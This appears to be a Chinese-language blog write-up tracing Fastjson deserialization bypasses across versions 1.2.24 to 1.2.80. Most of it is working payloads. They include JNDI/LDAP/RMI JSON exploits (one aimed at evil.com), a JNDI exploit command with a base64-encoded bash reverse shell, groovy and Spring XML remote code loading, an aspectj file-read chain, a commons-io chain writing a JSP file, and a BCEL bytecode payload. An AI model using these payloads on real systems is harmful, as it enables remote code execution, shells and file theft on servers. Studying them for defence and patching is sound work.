Java中Fastjson各版本漏洞对抗史与总结
漏洞简述
Fastjson是阿里巴巴的开源JSON解析库,可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。攻击者可以利用该漏洞执行任意代码,导致严重的安全威胁。
漏洞原理:Fastjson反序列化是源于在处理json数据时对输入的验证不足,没有对@type字段进行过滤,导致攻击者可以构造一个恶意的JSON数据,将恶意类作为AutoType的值,当Fastjson反序列化时,从而实例化指定类导致远程代码执行。
漏洞指纹特征:提交为POST请求,格式改为application/json,测试是否返回fastjson字符串,也可能是无回显。
DNS盲打
利用dnslog接收平台进行盲打验证
1{"aa":{"@type":"java.net.Inet4Address","val":"dnslog"}}2{"aa":{"@type":"java.net.Inet6Address","val":"dnslog"}}3
4//变换5{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}测试后返回接受平台查看是否存在
无返回数据探测
学习到一些trick,在返回包无报错信息测试
- 版本:1.2.83/1.2.24
1{"test":{"@type":"java.lang.Exception","@type":"org.XxException"}}- 版本:1.2.24-1.2.68
1{"test":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}- 版本:1.2.24-1.2.47
1{2 "a": {3 "@type": "java.lang.Class",4 "val": "com.sun.rowset.JdbcRowSetImpl"5 },6 "b": {7 "@type": "com.sun.rowset.JdbcRowSetImpl"8 }9}- 版本 1.2.24
1{"test": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}测试
简单测试一下案例-通过fastjson弹计算器
这里我们已经知道fastjson反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。fastjson在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发
构造一个Student类
1package FastjsonDemo.fastJsonDemo1;2
3import java.io.IOException;4
5public class Student {6 public String name;7 private int age;8 public Student(){9 System.out.println("Student构造函数");10 }11
12 public String getName() {13 System.out.println("Student getName");14 return name;15 }16
17 public void setName(String name) throws IOException {18 System.out.println("Student setName");19 Runtime.getRuntime().exec("calc");20 this.name = name;21 }22
23 public int getAge() {24 System.out.println("Student getAge");25
26 return age;27 }28}29Student_fastjson类`去加载 成功加载造成`反序列化漏洞30package FastjsonDemo.fastJsonDemo1;31
32import com.alibaba.fastjson.JSON;33import com.alibaba.fastjson.parser.Feature;34
35public class Student_fastjson {36 public static void main(String[] args) throws Exception{37 String json = "{\"@type\":\"FastjsonDemo.fastJsonDemo1.Student\",\"age\":18,\"name\":\"5wimming\"}";38 System.out.println("测试Fastjson SupportNonPublicField");39 Student student = JSON.parseObject(json, Student.class, Feature.SupportNonPublicField);40 System.out.println(student);41 System.out.println(student.getClass().getName());42 System.out.println(student.getName() + " " + student.getAge());43 }44}Fastjson1.2.24
漏洞:cnvd-2017-02833
TemplatesImpl 反序列化
影响版本:在早期的fastjson<=1.2.24中,默认是使用@type来指定反序列化任意类,这就造成了攻击者可通过java环境寻找构造恶意类,再通过反序列化过程中去调用其中的getter/setter方法,形成恶意调用链。我们来分析一下常规的TemplatesImpl 反序列化
定位TemplatesImpl包,直接进行导包跟进即可
1import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;测试的pom.xml对应fastjson版本
1<dependency>2 <groupId>com.alibaba</groupId>3 <artifactId>fastjson</artifactId>4 <version>1.2.24</version>5</dependency>跟进源码进行分析,可以发现在这个类中是存在一个Class类的数组,其下标为_transletIndexdex的类会来到getTransletInstance方法使用newInstance实例化
继续向下跳,寻找getTransletInstance的重载方法,发现newTransformer调用了,而类中的getOutputProperties方法又调用了newTransformer
继续分析getOutputProperties()方法,会发现其实就是_outputProperties中的getter方法
到这里基本调用链出来了,那么我们继续进行分析,_class类是否可控,继续审计其调用处,发现readObject、构造方法以及 defineTransletClasses()中有赋值操作
来到defineTransletClasses()类分析,发现这里是存在漏洞点的,这里如果_class不为空就会调用,分析其逻辑:
首先要求_bytecodes不为null,接着调用其中的_byte[],如果父类为ABSTRACT_TRANSLET则进行调用
父类AbstractTranslet其加载包为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
完整的恶意利用链子:
构造一个TemplatesImpl反序列化字符串-> __bytecodes加载字节码->令其父类为AbstractTranslet->最终通过newInstance()实例化->满足 _name 不为 null ,_tfactory 不为 null
最终Poc为
1{2 "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",3 "_bytecodes": ["恶意字节码"],4 "_name": "test",5 "_tfactory": {},6 "_outputProperties": {},7}JdbcRowSetImpl 反序列化
前面已经了解了有关TemplatesImpl 反序列化的链子,继续研究一下另一条导致JNDI注入的漏洞利用链
JdbcRowSetImpl 类位于com.sun.rowset.JdbcRowSetImpl
导入此类进行分析,跟进JdbcRowSetImpl
来到setAutoCommit()方法,审计setAutoCommit()方法,当this.conn为null则调用this.connect()
跟进this.connect(),这里调用了javax.naming.InitialContext的lookup()方法,获取成员变量DataSource
这里lookup()方法参数正好也是dataSourceName,最终控制dataSouceName造成反序列化漏洞
最终Poc为
1{2 "@type":"com.sun.rowset.JdbcRowSetImpl",3 "dataSourceName":"ldap://127.0.0.1:1234/Exploit",4 "autoCommit":true5}漏洞测试而:
1java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "IP"修改为post传参方式,传入以下格式
1{2 "a":{3 "@type":"com.sun.rowset.JdbcRowSetImpl",4 "dataSourceName":"rmi://test.com:9999/TouchFile",5 "autoCommit":true6 }7}Fastjson1.2.25
引入 checkAutoType 安全机制
安全更新主要集中在com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
过滤如下
1bsh2com.mchange3com.sun.4java.lang.Thread5java.net.Socket6java.rmi7javax.xml8org.apache.bcel9org.apache.commons.beanutils10org.apache.commons.collections.Transformer11org.apache.commons.collections.functors12org.apache.commons.collections4.comparators13org.apache.commons.fileupload14org.apache.myfaces.context.servlet15org.apache.tomcat16org.apache.wicket.util17org.codehaus.groovy.runtime18org.hibernate19org.jboss20org.mozilla.javascript21org.python.core22org.springframework23开启autoType的情况`24继续向下分析 `checkAutoType()`整体逻辑,这里如果开启了`autoType`会先做一个判断,是否处在白名单,在的话通过`TypeUtils.loadClass`进行加载,然后再判断`黑名单没开启autoType的情况
顺序则是先使用黑名单进行匹配,再用白名单进行匹配和加载。如果反序列化黑白名单未成功匹配, 那么只有当开启了autoType或 expectClass不为空(指定Class对象)才能调用 typeUtils.loadClass加载
继续跟进 loadClass
发现漏洞,这里是存在一处逻辑问题的,本身这里是写了一个兼容带有描述符的类,可这些在类加载过程中会被处理掉。最终漏洞思路
开启autoType后,构造描述符绕过,添加字符 L``[``; 即可
附上Poc
1{2 "@type":"[com.sun.rowset.JdbcRowSetImpl;",3 "dataSourceName":"ldap://127.0.0.1:1234/Exploit",4 "autoCommit":true5}6
7或8{9 "a":{10 "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",11 "dataSourceName":"rmi://test.com:9999/TouchFile",12 "autoCommit":true13 }14}Fastjson1.2.42
继续分析,来到Fastjson1.2.42,在此版本只是进一步对黑白名单的规则进行修改。这里主要是修改黑名单类添加了一个对Hash方式的对比对之前版本存在类描述符绕过黑名单修复。
下面继续分析,继续来到com.alibaba.fastjson.parser.ParserConfig这个类
定位到ParserConfig方法,发现denyHashCodes对原本的黑名单策略做了一个Hash校验黑名单
继续向下分析,这里看CheckAutoType
分析整体逻辑,其实就是对黑名单进行截断第一个字符是否为类描述符,做一个Hash匹配,如果是则匹配失败。但我们前面分析过,这里loadClass()加载类
来到loadClass,还是采取递归处理的
最终Poc,添加两个类描述符
1{2 "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",3 "dataSourceName":"ldap://127.0.0.1:1234/Exploit",4 "autoCommit":true5}fastjson1.2.43
换源,继续分析逻辑
跟进类com.alibaba.fastjson.parser.ParserConfig
还是对Hash黑名单进行一个匹配,分析如下
1long BASIC = -3750763034362895579L;2long PRIME = 1099511628211L;3if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {4 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {5 throw new JSONException("autoType is not support. " + typeName);6 }这里其实是对代码根据类名中字符的ASCII 值检查特定条件,如果两个条件都满足,就会抛出一个带有特定消息的 JSONException
漏洞产生:并未对所有类描述符进行严格过滤,这里是可以添加[字符成功绕过的
附上poc
1{2 "@type":"[com.sun.rowset.JdbcRowSetImpl"[,3 {"dataSourceName":"ldap://127.0.0.1:1234/Exploit",4 "autoCommit":true5}6
7或8{9 "b":{10 "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,11 "dataSourceName":"rmi://test.com:9999/TouchFile",12 "autoCommit":true13 }14}fastjson1.2.44
此版本加固了fastjson1.2.43版本使用[字符绕过规则,这个版本基本上是相对安全了
影响版本:1.2.25 <= fastjson <= 1.2.44
浅分析一下代码,增加了规则,出现[字符直接抛出异常判断失败
fastjson1.2.45
分析版本来到fastjson1.2.45,此版本升级后,存在一个黑名单匹配绕过,绕过类
1org.apache.ibatis.datasource.jndi.JndiDataSourceFactory利用条件如下
- 目标服务端存在
mybatis的jar包。 - 版本需为
3.x.x ~ 3.5.0 - autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
Poc如下
1{2 "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",3 "properties":{4 "data_source":"ldap://127.0.0.1:1234/Exploit"5 }6}7
8或9{10 "b":{11 "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",12 "properties":{"data_source":"ldap://localhost:1389/Exploit"}13 }14}fastjson1.2.47
漏洞隐患,不需要开启AutoTypeSupport直接进行反序列化操作
利用条件如下:
- 小于 1.2.48 版本的通杀,
AutoType为关闭状态也可以。 - loadClass中默认cache设置为
true
继续分析类com.alibaba.fastjson.parser.ParserConfig,来到CheckAutoType()方法
先分析第一段
往下分析代码逻辑,这里有两个需要注意的TypeUtils.getClassFromMapping和deserializers
这里deserializers ,其实是一个 IdentityHashMap,能从其中赋值函数
- getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
- initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
- putDeserializer():被前两个函数调用,我们无法控制入参。
来到TypeUtils.getClassFromMapping
分析loadClass()类的代码,这里可以指导TypeUtils.getClassFromMapping同样是从TypeTUtils.mappingz中进行取值
关键函数: addBaseClassMappings() loadClass()加载
分析代码得到逻辑,这里我们只要控制loadClass()方法参数,就可以写入任意类名到mappings中,下面寻找重载方法,分析寻找一下loadClass(String className, ClassLoader classLoader)调用处
翻阅发现,我们需要来到initDeserializer方法,发现MiscCodec是可用来处理反序列化类的
跟进_MiscCo_d_eC_类,审计其中代码,发现一处if判断
来到deserialze,发现这里 parser.resolveStatus做了一个判断,并且是会解析val中内容,传入值到strVal字符串中
继续向下分析逻辑,发现这里clazz=Class.class,会调用loadClass()方法,并将strVal类加载并缓存
到这里我们基本逻辑疏通了, 我们呢需要组成一条恶意调用链,这里记住我们的入口点是 Class.class,可传入参数一下参数进行调试测试 {"@type":"java.lang.Class","val":"test"}
完整恶意调用链:
先通过parser.parseObject调用DefaultJSONParser对传入json数据解析
这里由于deserializers 初始化已经加载了Class.class,绕过AutoTypeSupport检测
下面需要设置 resolveStatus值为TypeNameRedirect,然后来到MiscCodec.deserialze()对class类型进行处理,最终解析Json数据中的val内容,将其放入到objVal,传递到strVal中并使用loadClass加载方法并缓存到mappings中,最终再次以恶意类请求@type即可绕过黑名单阻扰进行反序列化操作!!!
最终Poc如下
ladp://
1{2 "aaa": {3 "@type": "java.lang.Class",4 "val": "com.sun.rowset.JdbcRowSetImpl"5 },6 "bbb": {7 "@type": "com.sun.rowset.JdbcRowSetImpl",8 "dataSourceName": "ldap://127.0.0.1:1234/Exploit",9 "autoCommit": true10 }11}12rmi://13{14 "a":{15 "@type":"java.lang.Class",16 "val":"com.sun.rowset.JdbcRowSetImpl"17 },18 "b":{19 "@type":"com.sun.rowset.JdbcRowSetImpl",20 "dataSourceName":"rmi://evil.com:9999/Exploit",21 "autoCommit":true22 }23}fastjson <=1.2.62 和 <=1.2.66
积累的两个poc,基于黑名单绕过fastjson <= 1.2.62
1{2 "@type":"org.apache.xbean.propertyeditor.JndiConverter",3 "AsText":"rmi://127.0.0.1:1099/exploit"4}";基于fastjson<=1.2.66的poc
1{2 "@type":"org.apache.shiro.jndi.JndiObjectFactory",3 "resourceName":"ldap://192.168.80.1:1389/Calc"4 }fastjson1.2.68
在之前版本1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复。对MiscCodec 处理 Class 类的设置了cache=false,并且loadClass重载默认为不缓存,直接避免了提前使用``Class类恶意类名缓存造成的反序列化漏洞
随着版本的更新,直到fastjson1.2.68又存在一个新的漏洞点,可使用expectClass去绕过checkAutoType()检测机制,主要使用Throwable和 AutoCloseable来绕过
下面配置一下环境pom.xml
1<dependency>2 <groupId>com.alibaba</groupId>3 <artifactId>fastjson</artifactId>4 <version>1.2.68</version>5 </dependency>在1.2.68版本下,更新了一个新的安全控制点 safeMode,如果开启的话,将在checkAutoType()直接抛出异常,进行ban掉修复。那既然说到是存在一个新的autoType开关,接下来进行分析这个绕过方式,函数
分析safeMode控制点
这里继续往下看,发现代码的逻辑处存在漏洞点,可通过传参expectClass,类名为子类进行绕过checkAutoType机制
接下来,往回分析,寻找一下调用checkAutoType的重载方法是否存在可控的expectClass传参,进行搜索
发现有两处重载方法,分别为:ThrowableDeserializer、JavaBeanDeserializer
进一步跟进查看,发现直接ThrowableDeserializer方法会将@type 后的类传入到checkAutoType()
这里expectClass 为 Throwable.class类
继续向下,发现通过checkAutoType()机制之后,最终将会使用createException异常类的实例
fastjson1.2.80
在上述1.2.68版本修复方案,新版本将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类,漏洞点异常类Throwable。有个重要的点来自于:反序列化setter method parameter OR public field(无视autotype机制)时添加类到白名单
1版本探测2{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}3
4{"a":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}},"b":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}}5报错探测依赖库6{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}groovy利用
1{2 "@type":"java.lang.Exception",3 "@type":"org.codehaus.groovy.control.CompilationFailedException",4 "unit":{}5}6
7{8 "@type":"org.codehaus.groovy.control.ProcessingUnit",9 "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",10 "config":{11 "@type":"org.codehaus.groovy.control.CompilerConfiguration",12 "classpathList":"http://127.0.0.1:9999/"13 }14}JDBC:依赖 jython+postgresql+spring-context,poc如下
1{2 "a":{3 "@type":"java.lang.Exception",4 "@type":"org.python.antlr.ParseException",5 "type":{}6 },7 "b":{8 "@type":"org.python.core.PyObject",9 "@type":"com.ziclix.python.sql.PyConnection",10 "connection":{11 "@type":"org.postgresql.jdbc.PgConnection",12 "hostSpecs":[13 {14 "host":"127.0.0.1",15 "port":233316 }17 ],18 "user":"user",19 "database":"test",20 "info":{21 "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",22 "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"23 },24 "url":""25 }26 }27}加载的exp.xml
1<beans xmlns="http://www.springframework.org/schema/beans"2xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"3xsi:schemaLocation="http://www.springframework.org/schema/beans4http://www.springframework.org/schema/beans/spring-beans.xsd">5<bean id="pb" class="java.lang.ProcessBuilder">6 <constructor-arg>7 <list value-type="java.lang.String" >8 <value>cmd</value>9 <value>/c</value>10 <value>calc</value>11 </list>12 </constructor-arg>13 <property name="whatever" value="#{pb.start()}"/>14</bean>15</beans>aspectj 任意文件读取, poc如下,需要分为三次进行利用
1//第一次2{3 "@type":"java.lang.Exception",4 "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"5}6
7
8//第二次9 {10 "@type":"java.lang.Class",11 "val":{12 "@type":"java.lang.String"{13 "@type":"java.util.Locale",14 "val":{15 "@type":"com.alibaba.fastjson.JSONObject",{16 "@type":"java.lang.String"17 "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",18 "newAnnotationProcessorUnits":[{}]19 }20}21}22//第三次,针对Windows系统23 {24 "x":{25 "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",26 "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",27 "fileName":"c:\\windows\win.ini"28 }29 }30//另一种姿势,报错回显31{32 "@type":"java.lang.Character"33 {34 "c":{35 "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",36 "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",37 "fileName":"c:/windows/win.ini"38 }39}40//第三次2 报错回显41commons-io 写入文件参考su18师傅的poc
1import com.alibaba.fastjson.JSON;2import com.alibaba.fastjson.parser.ParserConfig;3import jdk.nashorn.internal.parser.JSONParser;4
5
6public class demo {7 public static void main(String[] args) {8 String code = "test";9 for (int i = 0; i < 8200; i++) {10 code += "a";11 }12 String poc2 = " \r\n"13 + " {\r\n"14 + " \"su14\": {\r\n"15 + " \"@type\": \"java.lang.Exception\",\r\n"16 + " \"@type\": \"ognl.OgnlException\"\r\n"17 + " },\r\n"18 + " \"su15\": {\r\n"19 + " \"@type\": \"java.lang.Class\",\r\n"20 + " \"val\": {\r\n"21 + " \"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n"22 + " {\r\n"23 + " \"@type\": \"java.lang.String\"\r\n"24 + " \"@type\": \"ognl.OgnlException\",\r\n"25 + " \"_evaluation\": \"\"\r\n"26 + " }\r\n"27 + " },\r\n"28 + " \"su16\": {\r\n"29 + " \"@type\": \"ognl.Evaluation\",\r\n"30 + " \"node\": {\r\n"31 + " \"@type\": \"ognl.ASTMethod\",\r\n"32 + " \"p\": {\r\n"33 + " \"@type\": \"ognl.OgnlParser\",\r\n"34 + " \"stream\": {\r\n"35 + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"36 + " \"delegate\": {\r\n"37 + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"38 + " \"reader\": {\r\n"39 + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"40 + " \"is\":{\r\n"41 + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"42 + " \"input\":{\r\n"43 + " \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\r\n"44 + " \"reader\":{\r\n"45 + " \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\r\n"46 + " \"charSequence\":{\"@type\":\"java.lang.String\"\""+code+"\"\r\n"47 + " },\r\n"48 + " \"charsetName\":\"UTF-8\",\r\n"49 + " \"bufferSize\":1024\r\n"50 + " },\r\n"51 + " \"branch\":{\r\n"52 + " \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\r\n"53 + " \"writer\":{\r\n"54 + " \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\r\n"55 + " \"file\":\"1.jsp\",\r\n"56 + " \"encoding\":\"UTF-8\",\r\n"57 + " \"append\": false\r\n"58 + " },\r\n"59 + " \"charsetName\":\"UTF-8\",\r\n"60 + " \"bufferSize\": 1024,\r\n"61 + " \"writeImmediately\": true\r\n"62 + " },\r\n"63 + " \"closeBranch\": true\r\n"64 + " },\r\n"65 + " \"httpContentType\":\"text/xml\",\r\n"66 + " \"lenient\":false,\r\n"67 + " \"defaultEncoding\":\"UTF-8\"\r\n"68 + " },\r\n"69 + " \"charsetName\": \"UTF-8\",\r\n"70 + " \"bufferSize\": 1024\r\n"71 + " },\r\n"72 + " \"boms\": [{\r\n"73 + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"74 + " \"charsetName\": \"UTF-8\",\r\n"75 + " \"bytes\": [\r\n"76 + " 36,82\r\n"77 + " ]\r\n"78 + " }]\r\n"79 + " }\r\n"80 + " }\r\n"81 + " }\r\n"82 + " },\r\n"83 + " \"su17\": {\r\n"84 + " \"@type\": \"ognl.Evaluation\",\r\n"85 + " \"node\": {\r\n"86 + " \"@type\": \"ognl.ASTMethod\",\r\n"87 + " \"p\": {\r\n"88 + " \"@type\": \"ognl.OgnlParser\",\r\n"89 + " \"stream\": {\r\n"90 + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"91 + " \"delegate\": {\r\n"92 + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"93 + " \"reader\": {\r\n"94 + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"95 + " \"is\":{\r\n"96 + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"97 + " \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"98 + " \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"99 + " \"closeBranch\": true\r\n"100 + " },\r\n"101 + " \"httpContentType\":\"text/xml\",\r\n"102 + " \"lenient\":false,\r\n"103 + " \"defaultEncoding\":\"UTF-8\"\r\n"104 + " },\r\n"105 + " \"charsetName\": \"UTF-8\",\r\n"106 + " \"bufferSize\": 1024\r\n"107 + " },\r\n"108 + " \"boms\": [{\r\n"109 + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"110 + " \"charsetName\": \"UTF-8\",\r\n"111 + " \"bytes\": [\r\n"112 + " 36,82\r\n"113 + " ]\r\n"114 + " }]\r\n"115 + " }\r\n"116 + " }\r\n"117 + " }\r\n"118 + " },\r\n"119 + " \"su18\": {\r\n"120 + " \"@type\": \"ognl.Evaluation\",\r\n"121 + " \"node\": {\r\n"122 + " \"@type\": \"ognl.ASTMethod\",\r\n"123 + " \"p\": {\r\n"124 + " \"@type\": \"ognl.OgnlParser\",\r\n"125 + " \"stream\": {\r\n"126 + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"127 + " \"delegate\": {\r\n"128 + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"129 + " \"reader\": {\r\n"130 + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"131 + " \"is\":{\r\n"132 + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"133 + " \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"134 + " \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"135 + " \"closeBranch\": true\r\n"136 + " },\r\n"137 + " \"httpContentType\":\"text/xml\",\r\n"138 + " \"lenient\":false,\r\n"139 + " \"defaultEncoding\":\"UTF-8\"\r\n"140 + " },\r\n"141 + " \"charsetName\": \"UTF-8\",\r\n"142 + " \"bufferSize\": 1024\r\n"143 + " },\r\n"144 + " \"boms\": [{\r\n"145 + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"146 + " \"charsetName\": \"UTF-8\",\r\n"147 + " \"bytes\": [\r\n"148 + " 36,82\r\n"149 + " ]\r\n"150 + " }]\r\n"151 + " }\r\n"152 + " }\r\n"153 + " }\r\n"154 + " },\r\n"155 + " \"su19\": {\r\n"156 + " \"@type\": \"ognl.Evaluation\",\r\n"157 + " \"node\": {\r\n"158 + " \"@type\": \"ognl.ASTMethod\",\r\n"159 + " \"p\": {\r\n"160 + " \"@type\": \"ognl.OgnlParser\",\r\n"161 + " \"stream\": {\r\n"162 + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n"163 + " \"delegate\": {\r\n"164 + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n"165 + " \"reader\": {\r\n"166 + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\r\n"167 + " \"is\":{\r\n"168 + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"169 + " \"input\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.input\"},\r\n"170 + " \"branch\":{\"$ref\": \"$.su16.node.p.stream.delegate.reader.is.branch\"},\r\n"171 + " \"closeBranch\": true\r\n"172 + " },\r\n"173 + " \"httpContentType\":\"text/xml\",\r\n"174 + " \"lenient\":false,\r\n"175 + " \"defaultEncoding\":\"UTF-8\"\r\n"176 + " },\r\n"177 + " \"charsetName\": \"UTF-8\",\r\n"178 + " \"bufferSize\": 1024\r\n"179 + " },\r\n"180 + " \"boms\": [{\r\n"181 + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"182 + " \"charsetName\": \"UTF-8\",\r\n"183 + " \"bytes\": [\r\n"184 + " 36,82\r\n"185 + " ]\r\n"186 + " }]\r\n"187 + " }\r\n"188 + " }\r\n"189 + " }\r\n"190 + " }, \r\n"191 + " }\r\n"192 + "";193 System.out.println(poc2);194
195 JSON.parseObject(poc2);196 }197}fastjson不出网利用姿势
搭建tomcat环境:【最新Tomcat】IntelliJ IDEA通用配置Tomcat教程(超详细)_idea配置tomcat-CSDN博客
利用Java的BCEL字节码进行绕过,字节码,就是Java源代码编译后的产物,它是一种中间代码,既不是完全的机器语言,也不是咱们写的那些高级语言代码。JVM(Java虚拟机)就是通过解释或编译这些字节码来运行咱们的程序。而BCEL字节码检测器是一个Java字节码操作库,可以用于分析、修改和创建Java类文件的字节码.
基于Tomcat回显
编写BCEL_exp
1import com.sun.org.apache.bcel.internal.classfile.Utility;2import java.io.BufferedWriter;3import java.io.FileWriter;4import java.io.IOException;5import java.nio.file.Files;6import java.nio.file.Path;7import java.nio.file.Paths;8
9public class BCEL_exp {10 public static void main(String[] args) throws IOException {11 Path path = Paths.get("D:\\java\\untitled1\\FastJsonDemo\\untitled\\src\\exp.class");12 byte[] bytes = Files.readAllBytes(path);13 System.out.println(bytes.length);14 String encode = Utility.encode(bytes, true);15 BufferedWriter bw = new BufferedWriter(new FileWriter("./res.txt"));16 bw.write("$$BECL$$" + encode);17 bw.close();18 }19}20
21//生成的字节码如下22//$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$Aexp.classs => java1.8_65
1public class exp{2 static {3 try{4 Runtime.getRuntime().exec("calc");5 } catch (Exception e) {6 }7 }8}构造poc如下,成功弹出计算器
